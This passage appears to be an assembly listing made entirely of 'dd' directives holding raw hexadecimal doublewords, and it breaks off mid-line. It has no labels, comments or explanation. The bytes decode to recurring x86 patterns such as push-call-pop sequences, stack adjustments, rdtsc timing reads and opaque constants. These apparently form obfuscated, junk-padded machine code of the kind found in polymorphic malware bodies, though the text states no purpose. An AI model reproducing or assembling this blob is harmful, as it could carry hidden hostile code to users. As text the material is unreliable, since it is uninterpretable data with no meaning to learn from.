63D5B97Ch, 76FF8613h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 97C35141h dd 95890D96h, 64E0F59h, 1591B58Bh, 6A064Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0CADEB6C3h dd 1B4DB58Bh, 0F78B064Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 8C35545h, 0DB339AE4h, 5D5E71F3h, 0EE816664h dd 8A0F0E90h, 14h, 8E8h, 0B6DB4800h, 736BC0E5h, 91B58B33h dd 5E064E2Bh, 0FFF769E9h, 53006AFFh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 8166B1F4h dd 8B727EEEh, 0EB5E50C1h, 4, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0B5339C73h dd 458D0129h, 6A064E1Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 88C0C357h, 534190D6h dd 668D8735h, 62F4D781h, 2C718D89h, 858D064Eh, 64E1061h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 74C35242h dd 47968122h, 0D0F7A54Fh, 11E850C3h, 35000000h, 23F3CDBAh dd 692CD4B8h, 792B706h, 8AA9F1A2h, 5E9h, 4F58A100h, 895F270Ch dd 0DE82404h, 0B4000000h, 0B05777A9h, 0E94841D7h, 44A9A324h dd 0CE9h, 32498C00h, 0C5EEA11Eh, 3607663Ch, 6A5F5Ah, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3EC35242h, 91388892h dd 10B58D89h, 0B58B064Eh, 64E0345h, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 97DECDC3h dd 8B362EE6h, 4E25F1B5h, 4F858D06h, 6A06520Fh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 8951C355h, 15FD2326h, 0BE3377D5h, 3C803782h, 6A05C083h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 9C88C351h, 219D8936h, 90064E25h, 60D88B60h dd 310F5250h, 6160585Ah, 66506161h, 9054D6BFh, 2ECF8166h dd 6A006ACDh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0A52DC350h, 6AFAD8ADh, 89F08B1Bh dd 4E067D85h, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 2E1BC355h, 35253F51h dd 8595FF39h, 6A064E08h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 9694C356h, 9D8DAFDCh dd 651AF49h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0D4C35141h, 0EAA99109h, 0FA049F27h, 5820FFEh, 0BE000000h dd 979EC2Bh, 0BD8BD3FFh, 64E0B95h, 8D585FFh, 6A064Eh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 77BBE3C3h, 9412FB49h, 861E9A7h, 0E80000h, 5D000000h dd 0F59ED81h, 6A0652h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 7354D7C3h, 0E665174Ah, 68F0FCCh dd 89000000h, 4E09F5BDh, 5DBD8106h, 0D0064E2Ah, 0F000007h dd 19D86h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 7DFCF83Ah, 2AA59876h, 68E0F45h, 0F000000h dd 85h, 0F19D8B00h, 6A064E2Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 2086C352h, 1E66E504h dd 0F968768Dh, 8C0FFC60h, 1, 0E38161F9h, 100h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 71C35242h, 716B6E0Dh dd 9E81646h, 7C000000h, 0EB43999Eh, 3D8CBBFAh, 269DBD8Bh dd 0B5E064Eh, 0A3850FDBh, 0BE000000h, 18C9DFB0h, 0CDFBD83h dd 0F000652h, 3284h, 27B4BE00h, 0A3E97BE1h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0E79DC353h, 8B52FB5Eh, 71BE5FF3h, 0C7122E6Ah dd 520CDF85h, 106h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0AFEE6B2Dh, 0EAA87FEFh dd 89B58930h, 0E9064E25h, 42h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 0CC35040h, 3810Fh, 0B70F0000h dd 85C7F5F9h, 6520CDFh, 0 dd 0C870Fh, 880F0000h, 6, 10058D89h, 9D8D064Eh, 64E2AF1h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 56C35242h dd 0E8F74D61h, 2381958Ah, 0FFFFFEFFh, 20CDB58Bh, 8C66064Eh dd 56006ADBh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 12631EA4h, 0BD8B234Ch, 64E1041h, 0F04C3F6h dd 7884h, 8B0F5300h, 0 dd 0CD95FF5Fh, 6A064E2Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 5470C352h, 0AE2A24EAh dd 3C1EC7E1h, 2BD9BD23h, 5090064Eh, 8E0F6052h, 0 dd 5A310F61h, 0BE665058h, 6A90AF2Eh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 785C356h dd 0C35367EFh, 33DAA05Ah, 4E0A25B5h, 386E906h, 0B00000h dd 17B99589h, 70E6064Eh, 0E4F18B66h, 53006A71h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 617301EBh dd 9E897C0h, 4E2FA59Dh, 10E806h, 0AD20000h, 7EFEEE58h dd 0DB73738h, 8CC25F64h, 13E8DC1Ah, 0F8000000h, 0FDA5390h dd 68242066h, 3E84D9BEh, 0DC27E18Eh, 8D89584Eh, 64E2D29h dd 0B60F5F5Fh, 6BAD8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0E84F4AC3h, 5, 434BE9Dh dd 0FE8B6679h, 0DE95Fh, 3C4E0000h, 4D7A5221h, 16666D02h dd 0F33D1B8h, 685h, 0D1B58B00h, 8B064E0Ah, 57006AC3h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0C1F5FDDAh, 9D8904E8h, 64E1B2Dh, 8BE2F766h, 4E15ADB5h dd 66D82B06h, 0F6912BEh, 128Ch, 0DE900h, 0CD800000h, 0C065C51h dd 49C127CCh, 5033B55Dh, 3241C89h, 4E0FC9B5h, 5DB5FF06h dd 6A064E2Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0CD85C355h, 0D6586284h, 11E9E0h dd 163F0000h, 2EB997D7h, 0AD0BC5C7h, 0DCACB6Eh, 0F05E4B9h dd 1B86h, 0FE800h, 54530000h, 0CFD6E18Fh, 6D8E72E8h, 0EDEE59DAh dd 0EDBD8BEBh, 5E064E13h, 1A5995FFh, 890F064Eh, 6, 62D9589h dd 0B0064Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 59C35343h, 0AF1BD09h, 70E6064Eh, 6E9h, 8E19A500h dd 0E49B5B8Ah, 0F613C71h, 1C383h, 6830F00h, 33000000h dd 4E21CDBDh, 51B50906h, 0F064E1Fh, 0BD8BD8B6h, 64E2CA1h dd 6BAh, 0C3D78100h, 8B7E76FAh, 0E8C1F8C3h, 0FE904h, 0D2D60000h dd 0EA7A7137h, 0EAB57AEAh, 0E7FB9CBBh, 0E2F7665Ch, 2539BD89h dd 0D82B064Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0D7C35545h, 88ACC4AEh, 0C1858982h, 58064E25h, 880FD82Bh dd 148h, 6890F60h, 23000000h, 4E29558Dh, 0AE806h, 95A60000h dd 61A9A6D1h, 545ED61Eh, 615E5B52h, 7B9h, 0AE800h, 0FBF30000h dd 5298FD8Ch, 7DBB918Bh, 5EF08B66h, 6A00C183h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 74FFC350h, 9A7C204Eh, 6E9DBh, 1C3B0000h, 257AFA48h dd 860FD93Bh, 0D8h, 66F08B66h, 0BD8BD98Ch, 64E1601h, 0F04C1F6h dd 0BB84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 663E455Ah, 73DBEF81h, 2FCD95FFh dd 8B66064Eh, 0AE95BFBh, 34000000h, 0A50AF185h, 1C7EFA84h dd 6AC32B3Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 3D06C356h, 834h, 56860Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0BF98C0C3h, 0FEDBD2Bh, 8166064Eh, 0E9CCCBF7h, 30h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D4C35242h, 8D82B7F6h dd 0E7819A32h, 75BD3EAh, 0C781C08Bh, 66F3CB56h, 0D88BC38Bh dd 0C7F78B66h, 4E053D85h, 741D3706h, 55006A76h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0F61C49EEh dd 99AF88CFh, 7E8A842h, 91000000h, 0C563C7ACh, 0BD03D29Fh dd 64E15C9h, 6AC08B5Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 8D82C353h, 0B70F9A32h dd 5DBD81F0h, 0D0064E2Ah, 0F000007h, 1085h, 9469BE00h dd 0BF6660D8h, 85FF6D77h, 64E2A5Dh, 5DB5FFF9h, 6A064E2Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0CE82C356h, 0FEC78155h, 0F7D4815h, 1885h dd 13E900h, 83F0000h, 8F91F7ECh, 0CADC83E4h, 0BCAB1468h dd 0BF1DEA5Fh, 5995FFAFh, 6A064E1Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 3845C353h dd 682E4024h, 0E8AAA518h, 0Bh, 0B440EA58h, 4F1ED8C1h, 5FEDFB72h dd 0AE9h, 0CA603B00h, 3FC5C3B4h, 905A1489h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FCC35242h, 6E9h dd 0CE38AF00h, 9739193h, 4E056585h, 49BD8B06h, 6A064E0Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 31E7C353h, 89495C22h, 4E2151BDh, 0FE906h dd 3BE10000h, 0D8BCD6FCh, 9BF3A513h, 3DDF672Bh, 53006A0Eh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 6A82C2EDh, 6A56F3h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 1C07DCC3h, 1919BD89h, 11E8064Eh dd 0DB000000h, 72AF3B2Ah, 0F0885A1Bh, 1C9E8979h, 7D3CAA5Dh dd 11E85Eh, 5D510000h, 294F1B4Dh, 320D8D3Fh, 5D52821Ah dd 0FA7DDB0h, 8166F2B7h, 5ED637DEh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 0C0C35343h, 2BD81EBh, 0E9602C7Dh dd 0FFFFF7B2h, 0EE9h, 0A516DD00h, 78C25358h, 0E56EDFC2h dd 8B2DFCC8h, 0D1B589C1h, 0EB064E07h, 4, 8960FC00h, 4E2F5995h dd 0AE906h, 6A700000h, 24355E59h, 4363C5AFh, 61858D61h dd 0F5064E10h, 8E0F5090h, 17h, 0FE8h, 9E0CF800h, 1445F829h dd 0EA8E3936h, 0FEAB0E26h, 905E6160h, 2B19BD8Bh, 0BF0F064Eh dd 0E9006AFAh, 7, 451DC80Ch, 6A066027h, 2DBD8B00h, 8D064E11h dd 52196285h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 50CDC766h, 2F9DBD89h, 835F064Eh dd 5EBF05C0h, 904C8E5Eh, 10E8h, 7693E500h, 57F4226h, 44CDC5F9h dd 0D4E2EB4Bh, 50505E2Eh, 0E8310F52h, 13h, 16C0DA3Ah, 2FFC0262h dd 0E01EE3BCh, 0FB4C4AA6h, 66CF2037h, 5A5FFE8Bh, 6A9058h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0C225BAC3h, 2850F0Ah, 8B000000h, 9D03BFFBh, 6A4BFFh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 8BC35747h dd 79F9810Fh, 0C0D9589h, 5E8064Eh, 0E1000000h, 9D71B0E1h dd 12A5BD89h, 6A5E064Eh, 20810F00h, 0E8000000h, 14h, 0F725B1C1h dd 7D3B9050h, 0F881ACEBh, 29A8946Dh, 428C2A12h, 2CE99589h dd 0FF5F064Eh, 4E088595h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 741B747Ah dd 0E16E639Ah, 9D8DCB07h, 651AF49h, 2C118589h, 0D3FF064Eh dd 8D585FFh, 0B58B064Eh, 64E0559h, 809E9h, 0E800h, 815D0000h dd 52196CEDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 89E74DD1h, 4E07A1B5h, 0E6C0BF06h dd 0BD816225h, 64E2A5Dh, 7D0h, 14F860Fh, 0B52B0000h, 64E14B9h dd 2AA9BD03h, 9D8B064Eh, 64E2969h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 5CC35747h, 7069BEF8h, 0F96FF06Eh dd 100E381h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0CEB526C3h, 0B774C86h, 8A850FDBh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 286CC356h, 0ED26EB7Fh, 8D89C3F3h dd 64E118Dh, 1539BD89h, 0BD83064Eh, 65217BFh, 3A840F00h dd 66000000h, 0E2D8EE81h, 8E8h, 50A27400h, 0A79344D5h dd 5BBCBE9Fh, 0E95E7F26h, 5Eh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0AEC35141h, 0BF85C762h, 1065217h dd 0F000000h, 2FE9F2BFh, 8B000000h, 0BF85C7FEh, 65217h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0C075C357h, 0F78D595Bh, 9D8D12A8h dd 64E2969h, 10ADBD8Bh, 2381064Eh, 0FFFFFEFFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0D1C35747h, 77337646h dd 0DB8C6631h, 117DBD8Bh, 0C3F6064Eh, 4E840F04h, 53000000h dd 13E8h, 8572E900h, 0DAF9CAFh, 4F03844Ch, 271EF01h, 0D749429h dd 5E5F6160h, 2FCD95FFh, 6A064Eh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 50FDACC3h, 81B9BF66h dd 89240489h, 4E267D85h, 3FCE906h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BF0FABC3h dd 8B00B0FEh, 6A70E6F1h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0BA1BC356h, 0F3C5073h dd 687h, 41BD8B00h, 0E4064E05h, 57006A71h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0B70FFFB5h dd 0BD8509FFh, 0F064E15h, 8166D8B6h, 0BA0C51EFh, 6, 1B599589h dd 0C38B064Eh, 0F04E8C1h, 0E8Ah, 9E900h, 0BA860000h, 506430B0h dd 897EBE87h, 4E2221B5h, 0E2F76606h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 3DC35646h, 398A3474h, 8CC0B0AAh dd 6AD82B90h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 9E8CC355h, 0B61C09A9h, 41BD23A0h dd 50064E25h, 8B241C89h, 4E2A85BDh, 5DB5FF06h, 6A064E2Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 8CD2C353h, 4E1C018Ah, 19819589h, 95FF064Eh dd 64E1A59h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0DDC35545h, 8B66F9A7h, 6A00B0F7h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 1E6BC353h dd 0A9EF89B8h, 70E69228h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 78C35646h, 0B1B58971h, 0F064E28h, 9D89F9B7h dd 64E2265h, 0BD8B71E4h, 64E0BE5h, 3CF0BF0Fh, 3B830F61h dd 89000002h, 4E222D95h, 0D8B60F06h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0F0C35646h, 66A67EC4h, 6BAFA8Bh dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 0BBF8C357h, 37BE68Ah, 6AC38Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 8B46BCC3h, 9C57D05h, 6A04E8C1h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 4AC352h dd 8B8BDD6Ch, 4E15D9B5h, 0E2F76606h, 14E957h, 0E2940000h dd 0F62DF557h, 0E061939Eh, 940FF883h, 6DAFFC82h, 2B5EA831h dd 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0C8F03105h, 8654FC81h, 8E808FAh, 0AA000000h dd 35682132h, 0F3E780Eh, 68Ch, 9DBD8B00h, 5F064E02h, 5DB53358h dd 2B064E0Ah, 2F880FD8h, 6A000001h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0AA23C355h dd 5E9h, 1051B900h, 7B97B03h, 66000000h, 0C30DD681h, 0F00C183h dd 0BD8BFEB7h, 64E2955h, 860FD93Bh, 0EAh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 19h, 29C35747h, 9C036305h dd 0D98C66A3h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0B5C35242h, 66EC3325h, 0F620E2BFh, 840F04C1h, 97h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0F1C35545h dd 7ED09C22h, 0FFA2061Ah, 4E2FCD95h, 0E9BD8B06h, 5B064E0Ch dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0BEC35141h dd 668BC86h, 6AC32B80h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0A2F9C350h, 2DA14FA3h dd 5B531EAh, 3D064E15h, 834h, 11860Fh, 0BD8B0000h, 64E29A1h dd 9E9h, 6CDF8100h, 8B602CDBh, 0C38BFCC0h, 6AD88Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E90159C3h, 0Ah, 3E859BB5h, 5F67AB1Dh, 0B58B7E6Fh, 64E2085h dd 2AF185C7h, 0F5BB064Eh, 6A3CA4h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0DE9B58C3h, 11E995h dd 79180000h, 31006521h, 4771065h, 0D8E7F712h, 8B3B3254h dd 51BD8BC0h, 81064E06h, 4E2A5DBDh, 7D006h, 1A850F00h dd 0FF000000h, 4E2A5D85h, 0FE906h, 9E770000h, 5EF71322h dd 6CD62C0Bh, 178C555Bh, 5DB5FFC7h, 6A064E2Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0AB76C350h, 41FF4786h, 0FF26920h, 68Bh, 39B58B00h, 0FF064E12h dd 4E1A5995h, 5DB52B06h, 90064E0Ah, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 93C35343h, 2B49B589h, 8166064Eh dd 668D74DFh, 67C0D681h, 0FE9h, 1E12F500h, 0E99A7A81h dd 0BBC53706h, 5E14ED81h, 269DBD8Bh, 0D1BF064Eh, 0F18104Dh dd 687h, 46E78100h, 6A3999D1h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 966EC353h, 0BE2B6CC6h dd 1879B39Eh, 14E9h, 55E82800h, 33E0F1BBh, 0F95A12B9h dd 4EBA9C2Ch, 360DC9CEh, 53006A40h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 6AAA478Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 8DE4C356h dd 0F676E3D4h, 22884CB1h, 0B70FFA8Bh, 61BD89F6h, 8B064E2Fh dd 4E2B91BDh, 0CE906h, 2F0C0000h, 687C2E4Ch, 0B045EC6h dd 81F9B242h, 0F23A28CFh, 0F81BE960h, 6AFFFFh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 6D98EEC3h, 0E51BD8Bh, 6A60064Eh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0C304C355h dd 0FE7ECC95h, 0B5BD8B8Eh, 0B9064E06h, 0FFFFFFFEh, 8D21C78Ah dd 64E2269h, 8D2197B2h, 64E2969h, 8BDA8B66h dd 4E22698Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 1E1831Ah, 29850Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 86A664C3h, 3C862D4h, 0D6816651h, 8B5B101Ch, 4E29698Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 95890110h, 64E11A9h, 0F01E183h, 1F85h, 13E800h dd 14B10000h, 567C7C82h, 0DD41726Dh, 0B481500Eh, 26E61F90h dd 0E19D8B32h, 5B064E25h, 0B70F6061h, 0FFFEB9F8h, 6AFFFFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 94D052C3h, 686EB86Dh, 97ABC58h, 4E0A5D8Dh, 0AD8D2106h dd 6A064E07h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0DF3BC357h, 0B8AEDDA1h, 7ECD03AAh dd 30298D21h, 0E860064Eh, 14h, 0E5C1ABA7h, 78274D91h, 84EBD571h dd 6232A5F0h, 0DC4570C6h, 0ADBD0358h, 61064E29h, 7AD8D8Bh dd 6A064Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 1507DBC3h, 83CDC0F7h, 850F01E1h, 17h, 0CE8h dd 2FB30000h, 2C6762EDh, 0F32F99F2h, 0E3816605h, 8B58DACFh dd 4E30298Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 4039A0CFh, 1E183ADh, 23850Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 672782C3h, 37FA6F9Bh, 6A606109h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 6D4DC352h dd 0E4EA94D7h, 0BFCFE7Ch, 1ECF8166h, 57E881AAh, 0B91D5D57h dd 0FFFFFFFEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0B2C35343h, 0B8FC4550h, 0FD68BC7h, 684h, 75958900h dd 21064E26h, 4E0CED8Dh, 0BE906h, 351C0000h, 11E8C4AAh dd 0ED2268C8h, 918D2177h, 81064E1Bh, 6E7FAF2h, 0B58B602Dh dd 64E1995h, 0ED8D8B61h, 0E9064E0Ch, 0Eh, 462C1B8Ch, 44F6A37Bh dd 341E4F7Ah, 0E183CC24h, 2B850F01h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 203FC353h, 1B4057C7h, 0F7A4070h, 185h, 8D8BF800h, 64E1B91h dd 83DF8B66h, 850F01E1h, 1Dh, 279858Bh, 12E9064Eh, 0D8000000h dd 1C5E4E4Ah, 0CB78311Dh, 7CFDC8ECh, 0B2FA50C1h, 2960619Fh dd 4E0539B5h, 0FFFEB906h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 1C48FEC3h, 1F0A13C7h dd 0B58B36F0h, 64E2161h, 1A2DB58Bh, 820F064Eh, 6, 8439EE81h dd 8D21053Fh, 64E053Dh, 19B589h, 8D21064Eh, 64E2AF1h, 3E9BD8Bh dd 8D8B064Eh, 64E053Dh, 0E183DDB4h, 23850F01h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0CBCFC355h, 1B05BD8Bh, 8D8B064Eh, 64E2AF1h dd 1E183FCh, 6850Fh, 0BD290000h, 64E0A8Dh, 6A6061h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 880F82C3h, 2, 85C7CB8Bh, 64E2A5Dh, 7D0h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0F3C35040h, 1F359D8Bh dd 6A61064Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 3000C355h, 0DE894h, 0A0EA0000h dd 0EF58E0Ah, 1EAAA738h, 0E96E89A9h, 8, 2654DC95h, 54581040h dd 6107EB5Eh, 0E99Dh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0ECE0E4C3h, 0FC8A098Fh dd 0CEB70F57h, 52006A5Ah, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 1388F3C4h, 0E5AA5C95h dd 8D8B078Ch, 64E21B1h, 4BEBC18Bh, 2F0E0910h, 4B1AC53Ch dd 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h, 0D129B327h dd 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 0FB00A6DBh, 1A0046C1h dd 0D5A3EAh, 9C000000h, 0FEC819h, 0FBFE4800h, 28000000h dd 0D427E641h, 0E9C3727Dh, 0C19h, 0D5D9D8Bh, 0BD83064Eh dd 64E2649h, 38850F00h, 66000000h, 0DDA4EB81h, 0B8CA8Bh dd 0C2000000h, 6A0004h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0F01C83C3h, 0D5E8A88Dh, 0C6B93ECCh dd 8B55B76Bh, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0EDE78196h, 0F355ABAh, 28Ah, 83CB8B00h dd 4E2D45BDh, 9750006h, 19E1BD83h, 7400064Eh, 8B535013h dd 4D0B8C0h, 9D8D0000h, 650B715h, 585BD3FFh, 19E1BD83h dd 7400064Eh, 0B8535011h, 4D0h, 0B6629D8Dh, 0D3FF0650h dd 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 98F61FC3h, 2BD8D31h, 0C8B5064Eh, 0B966C08Bh dd 858D66E7h, 6522661h, 12E9h, 0BBC88A00h, 0BC74A53Ah dd 0CCC7AFF6h, 36F97410h, 996BB94h, 4E218D9Dh, 52509006h dd 310F5A51h, 8B50585Ah, 6A90CBh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0F31683C3h, 12E80A42h dd 6C000000h, 1B4EB1A8h, 4ADFBE76h, 0DC5808DBh, 0BA8E8909h dd 0C1950168h, 5F064E24h, 261E858Dh, 0C3800652h, 0D08A50D0h dd 6A240489h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0F60C350h, 820FC8B7h, 0 dd 252995FFh, 448B064Eh, 0F5800424h, 49858963h, 31065226h dd 4E0DF98Dh, 8B1FB306h, 6A082444h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0D2B2C350h dd 5F84289Bh, 0D27F99A2h, 265D8589h, 6A0652h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 2994ACC3h dd 5BED1E46h, 0F3B32334h, 3EDBD8Bh, 0BD83064Eh, 64E1361h dd 0A5850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0FDE2C356h, 185C69Eh dd 47064E04h, 2F53BF66h, 47B70968h, 0D98B66BAh, 0C9240481h dd 331A52F0h, 4E07558Dh, 0C9B5FF06h, 66064E24h, 8DF22ABAh dd 517D2185h, 5800F06h, 52000000h, 59CAB70Fh, 0E860D0FFh dd 10h, 0D945477Ch, 43ACADB1h, 7DF0ACCCh, 6D9072C2h, 0BE5A25B2h dd 536A0EDFh, 61858961h, 6A064E13h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0E158C351h dd 40FA8EC9h, 60C4BA66h, 1B41BD83h, 0F00064Eh, 